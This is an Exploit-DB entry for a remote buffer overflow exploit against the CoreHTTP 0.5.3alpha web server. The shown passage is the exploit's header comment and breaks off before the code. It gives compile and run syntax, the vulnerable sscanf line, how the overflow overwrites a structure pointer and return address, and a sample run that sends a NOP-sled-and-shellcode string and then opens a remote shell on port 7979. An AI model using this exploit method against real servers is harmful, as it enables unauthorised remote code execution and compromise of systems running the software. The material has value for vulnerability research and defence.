Exploit-DB #4243
Description: CoreHTTP 0.5.3alpha - HTTPd Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2007-07-29
Author: vade79

Exploit:
/*[ corehttp[v0.5.3alpha]: httpd remote buffer overflow exploit. ]**********
 *                                                                         *
 * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)                        *
 *                                                                         *
 * compile:                                                                *
 *  gcc xcorehttp.c -o xcorehttp                                           *
 *                                                                         *
 * syntax:                                                                 *
 *  ./xcorehttp [-r] -h host -p port                                       *
 *                                                                         *
 * corehttp homepage/url:                                                  *
 *  http://corehttp.sourceforge.net/                                       *
 *                                                                         *
 * bug(http.c):                                                            *
 * ----------------------------------------------------------------------- *
 * struct sprock_t *HttpSprockMake(struct sprock_t *parentsprock) {        *
 *     struct sprock_t *sprocket;                                          *
 *     char req[PATHSIZE], url[PATHSIZE], status[PATHSIZE], temp[BUFSIZE], *
 * ...                                                                     *
 *     if ((sprocket = (struct sprock_t *)                                 *
 *          malloc(sizeof(struct sprock_t))) == NULL) return NULL;         *
 * ...                                                                     *
 *     sscanf(parentsprock->buffer, "%[A-Za-z] %s%*[ \t\n]", req, url);    *
 * !(the bug/overwrite) --------------------------------------^----^       *
 *     strncpy(sprocket->parent->url, url, PATHSIZE);                      *
 * !(the problem) -^                                                       *
 * ...                                                                     *
 *     for (i = 0; req[i] != '\0'; i++)                                    *
 *         req[i] = toupper(req[i]);                                       *
 * !(another problem) -^                                                   *
 * ...                                                                     *
 * }                                                                       *
 * ----------------------------------------------------------------------- *
 *                                                                         *
 * explaination:                                                           *
 *  the sscanf() call in the above code contains no bounds checks for      *
 *  writing to either req[] or url[] (i chose url[] as it gave more room   *
 *  to work with, by overwriting into req[], and isnt limited to           *
 *  alphabetical characters only)                                          *
 *                                                                         *
 *  the first problem is that this overflows into the *sprocket structure  *
 *  pointer, which is used immediately after the overflow.  this is        *
 *  automatically calculated in this exploit, using the same location in   *
 *  memory with an offset. (+512 to ret address, which points to the nops) *
 *                                                                         *
 *  the second problem is all lowercase characters get uppercased, this    *
 *  will happen weither or not you overwrite via req[] or url[].  if the   *
 *  return address contains a lowercase character it will uppercase it.    *
 *                                                                         *
 *  this exploit has 256(%4) bytes of working room, so avoiding lowercase  *
 *  characters should be doable.                                           *
 *                                                                         *
 *  note:                                                                  *
 *   there are two areas in the stack this will appear, the one closer     *
 *   to the top of the stack should be used.                               *
 *                                                                         *
 *  example usage:                                                         *
 *   [v9@fhalo v9]$ gcc xcorehttp.c -o xcorehttp                           *
 *   [v9@fhalo v9]$ ./xcorehttp -h dual.fakehalo.lan -p 5555               *
 *   [*] corehttp[v0.5.3alpha]: httpd remote buffer overflow exploit.      *
 *   [*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)                  *
 *                                                                         *
 *   [*] target                      : dual.fakehalo.lan:5555              *
 *   [*] return address              : 0xbfffea60                          *
 *   [*] *sprocket replacement       : 0xbfffec60                          *
 *                                                                         *
 *   [*] attempting to connect: dual.fakehalo.lan:5555.                    *
 *   [*] successfully connected: dual.fakehalo.lan:5555.                   *
 *   [*] sending string:                                                   *
 *   [+]  "X [NOPS+SHELLCODEx512]|[ADDR1x16][ADDR2x256]\r\n\r\n"           *
 *   [*] closing connection.                                               *
 *                                                                         *
 *   [*] attempting to connect: dual.fakehalo.lan:7979.                    *
 *   [*] successfully connected: dual.fakehalo.lan:7979.                   *
 *                                                                         *
 *   Linux fhlnxd 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unkn$ *
 *   uid=501(v9) gid=501(v9) groups=501(v9)